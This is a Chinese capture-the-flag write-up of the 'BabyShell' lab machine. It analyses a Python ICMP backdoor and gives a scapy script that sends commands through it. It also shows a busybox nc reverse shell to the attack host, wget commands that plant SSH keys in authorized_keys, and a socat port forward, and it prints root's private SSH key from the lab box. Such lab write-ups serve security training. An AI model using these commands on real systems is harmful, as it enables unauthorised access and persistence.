目录

MazeSec BabyShell

# 信息收集

# 主机发现与 ARP 扫描

存活主机发现

┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ sudo arp-scan -I eth1 192.168.56.0/24

192.168.56.124  08:00:27:d2:34:03       PCS Systemtechnik GmbH
1
2
3
4

# TCP 全端口扫描与服务识别

tcp全端口扫描

┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ nmap -p- -sT 192.168.56.124          

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6

# 80 端口 HTTP 服务

扫描目录,存在备份文件

┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ dirsearch -u http://192.168.56.124/

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )


Target: http://192.168.56.124/

[19:43:26] 200 -    1KB - /backup.zip

Task Completed
1
2
3
4
5
6
7
8
9
10
11
12

# 后门分析

解压备份文件,审计可以知道是一份 python实现的 icmp 后门

#!/usr/bin/env python3
TRIGGER_SEQUENCE = b"Mazesec"
LISTEN_INTERFACE = "enp0s3"
SERVER_IP = "0.0.0.0"

class ICMPServer:
    def __init__(self):
        self.running = True
        self.client_ips = {}
    
    def signal_handler(self, sig, frame):
        print("\n[!] Stopping server...")
        self.running = False
        sys.exit(0)
    
    def execute_command_as_user(self, command, uid=1000, timeout=30):
        # 隐藏
    def parse_icmp_command(self, packet_data):
        try:
            trigger_len = len(TRIGGER_SEQUENCE)
            if len(packet_data) < trigger_len + 4:
                return None
            
            if packet_data[:trigger_len] != TRIGGER_SEQUENCE:
                return None
            
            cmd_len = struct.unpack('>I', packet_data[trigger_len:trigger_len+4])[0]
            
            if cmd_len <= 0 or cmd_len > 4096:
                return None
            
            if len(packet_data) < trigger_len + 4 + cmd_len:
                return None
                
            command = packet_data[trigger_len+4:trigger_len+4+cmd_len].decode('utf-8', errors='ignore')
            return command
            
        except Exception as e:
            print(f"[-] Parse error: {e}")
            return None
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

脚本会解析 icmp 数据包,寻找特定的触发序列 "Mazesec",并提取后续的命令数据。数据包格式如下:

[TRIGGER_SEQUENCE][4字节长度][命令数据]
├───────────────├──────────├──────────┤
  固定长度        大端整数   变长数据
1
2
3

# 后门利用

拷打 AI 写个利用脚本

#!/usr/bin/env python3
import sys
import struct
from scapy.all import IP, ICMP, Raw, send

TRIGGER = b"Mazesec"

if len(sys.argv) != 3:
    sys.exit(0)
TARGET = sys.argv[1]
COMMAND = sys.argv[2]
CMD_BYTES = COMMAND.encode('utf-8', errors='ignore')
CMD_LEN = len(CMD_BYTES)
PAYLOAD = TRIGGER + struct.pack('>I', CMD_LEN) + CMD_BYTES
PACKET = IP(dst=TARGET) / ICMP(type=8, id=0xFACE, seq=1) / Raw(load=PAYLOAD)
send(PACKET, verbose=0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

ip a命令找到靶机所在网段的网卡

tcpdump 指定网卡,抓取icmp数据包

┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ sudo tcpdump -i eth1 -A -n icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes
1
2
3
4
5

利用脚本发送命令,需要 sudo 权限

┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ sudo python3 rce.py 192.168.56.124 id

1
2
3

靶机返回的 icmp 数据包里有命令执行的结果,这个后门是 zero 用户在运行

# ssh 登录 zero 用户

从攻击机下载公钥到 zero 用户的 .ssh 目录

┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ sudo python3 rce.py 192.168.56.124 "mkdir -p /home/zero/.ssh"
                                                                                                                                                                                                                
┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ sudo python3 rce.py 192.168.56.124 "busybox wget http://192.168.56.100/pentest.pub -O /home/zero/.ssh/authorized_keys"
                                                                                                                                                                                                                
┌──(npc㉿kali)-[~/hackmyvm/BabyShell]
└─$ sudo python3 rce.py 192.168.56.124 "chmod 600 /home/zero/.ssh/authorized_keys"  
1
2
3
4
5
6
7
8

# sudo 权限枚举

sudo 需要密码,剧终

zero@BabyShell:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for zero: 
sudo: a password is required
1
2
3
4
5
6
7
8
9
10
11

# 内网服务转发

查看本地服务端口,存在一个8080端口的服务,不对外开放

zero@BabyShell:~$ ss -tupln
Netid                   State                    Recv-Q                   Send-Q                                     Local Address:Port                                     Peer Address:Port                   
udp                     UNCONN                   0                        0                                                0.0.0.0:68                                            0.0.0.0:*                      
tcp                     LISTEN                   0                        5                                              127.0.0.1:8080                                          0.0.0.0:*                      
tcp                     LISTEN                   0                        128                                              0.0.0.0:22                                            0.0.0.0:*                      
tcp                     LISTEN                   0                        128                                                    *:80                                                  *:*                      
tcp                     LISTEN                   0                        128                                                 [::]:22                                               [::]:*     
1
2
3
4
5
6
7

从攻击机下载 socat ,把8080端口转发到8000端口

zero@BabyShell:~$ wget http://192.168.56.100/socat -O ./socat
-bash: wget: command not found
zero@BabyShell:~$ busybox wget http://192.168.56.100/socat -O ./socat
Connecting to 192.168.56.100 (192.168.56.100:80)
socat                100% |****************************************************************************************************************************************************************|  366k  0:00:00 ETA
zero@BabyShell:~$ chmod +x ./socat
zero@BabyShell:~$ nohup ./socat TCP-LISTEN:8000,bind=0.0.0.0,fork TCP:127.0.0.1:8080 &
[1] 280070
zero@BabyShell:~$ nohup: ignoring input and appending output to 'nohup.out'
zero@BabyShell:~$ 
1
2
3
4
5
6
7
8
9
10

# 8080 端口 Web 服务

访问 8000 端口,没有任何内容

dirseach 扫描目录

dirsearch 有个排除返回内容大小的参数--exclude-sizes 0B,排除空页面,还是没有结果

gobuster 扫描目录,排除空页面

gobuster dir -u http://192.168.56.124:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,asp,txt,bak --exclude-length 0
1

扫到一个名为 execute 的页面

需要一个 cmd 参数,尝试 get 执行 whoami 命令,tom 用户在运行这个服务

busybox 反弹个 shell 过来,再下载 攻击机提供的私钥,使用 ssh 连接

反弹shell

busybox nc 192.168.56.100 5555 -e bash
1

下载远程公钥

mkdir -p /home/tom/.ssh
busybox wget http://192.168.56.100/pentest.pub -O /home/tom/.ssh/authorized_keys
chmod 600 /home/tom/.ssh/authorized_keys
1
2
3

# ssh 登录到 tom 用户

ssh 登录到 tom 用户

tom 用户家目录有suid 的猫

可以直接 查看flag

tom@BabyShell:~$ ls -lah
total 76K
drwx------ 3 tom  tom  4.0K Nov  8 08:37 .
drwxr-xr-x 4 root root 4.0K Nov  7 21:53 ..
-rw------- 1 tom  tom   999 Nov  8 09:06 .bash_history
-rw-r--r-- 1 tom  tom   220 Nov  7 21:53 .bash_logout
-rw-r--r-- 1 tom  tom  3.5K Nov  7 21:53 .bashrc
-rwsr-sr-x 1 root root  43K Nov  8 04:13 cat
-rw-r--r-- 1 tom  tom   807 Nov  7 21:53 .profile
-rw-r--r-- 1 tom  tom    45 Nov  8 08:35 shell.sh
drwxr-xr-x 2 tom  tom  4.0K Nov  8 08:37 .ssh
tom@BabyShell:~$ ./cat /root/root.txt
flag{root-c793411fbdda37f03fd27470d763433b}
1
2
3
4
5
6
7
8
9
10
11
12
13

# root 提权

suid 的命令可以读取 root 文件,flag文件名 root.txt 改名怎么查看?通配符!

脑子一热上耻辱柱了

通配符*?,替换命令$()、重定向管道<>,进程替换<()、管道符|这些实际都作用在当前用户权限下的 shell 里

在当前 tom 用户的shell 环境下,通配符只解析 tom 用户有权限访问的文件,不能用户模糊匹配 root 用户的文件,只能完整路径完整文件名读取

./cat /root/*
1

可以尝试读取 root 用户的私钥,然后使用 ssh 登录 root 用户

没有 id_rsa 文件

tom@BabyShell:~$ ./cat /root/.ssh/id_rsa
./cat: /root/.ssh/id_rsa: No such file or directory
1
2

还可以再尝试其他的私钥文件名,查看 ssh 配置文件

在 ssh_config 里默认的私钥文件名

一般会尝试 id_rsa 私钥文件名,因为 ssh-keygen 默认使用 rsa 算法 ,生成的默认私钥文件名就是 id_rsa,生成时可以使用 -f 参数指定私钥文件名,-t 参数指定密钥类型,如果是 ed25519 算法,默认私钥文件名就是 id_ed25519

在 sshd_config 配置文件里公钥文件名比较固定,一般是authorized_keysauthorized_keys2

可以先尝试读取公钥,在公钥里看到 使用的算法是 ed25519,私钥可能是 id_ed25519

tom@BabyShell:~$ ./cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHLjmqMYftQPxAe5qMzjo00oTUjltQebZj2PLfqPg00y root@BabyShell
1
2

读取私钥,ssh 登录 root 用户

tom@BabyShell:~$ ./cat /root/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBy45qjGH7UD8QHuajM46NNKE1I5bUHm2Y9jy36j4NNMgAAAJin4qUip+Kl
IgAAAAtzc2gtZWQyNTUxOQAAACBy45qjGH7UD8QHuajM46NNKE1I5bUHm2Y9jy36j4NNMg
AAAEB3Tt9WPUVP+/ghSIb83N1USifSsg+29ZhP1Mfh/TS6r3LjmqMYftQPxAe5qMzjo00o
TUjltQebZj2PLfqPg00yAAAADnJvb3RAQmFieVNoZWxsAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
tom@BabyShell:~$ vim .ssh/id_ed25519
tom@BabyShell:~$ chmod 600 .ssh/id_ed25519 
tom@BabyShell:~$ ssh root@localhost
Linux BabyShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Nov  8 03:52:57 2025 from 192.168.3.94
root@BabyShell:~# 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

欸?你问我使用的不是 id_rsa 私钥为什么可以不使用 -i 参数指定私钥文件直接登录?我偷偷配置 .ssh/config 文件指定私钥了吗?

config文件在ssh 客户端,服务端不需要这个文件

ssh 客户端会自动尝试使用所有默认的私钥文件名进行认证登录

如果私钥真的是一个自定义的文件名呢💔

最后一次更新于: 2025/11/10, 22:43:56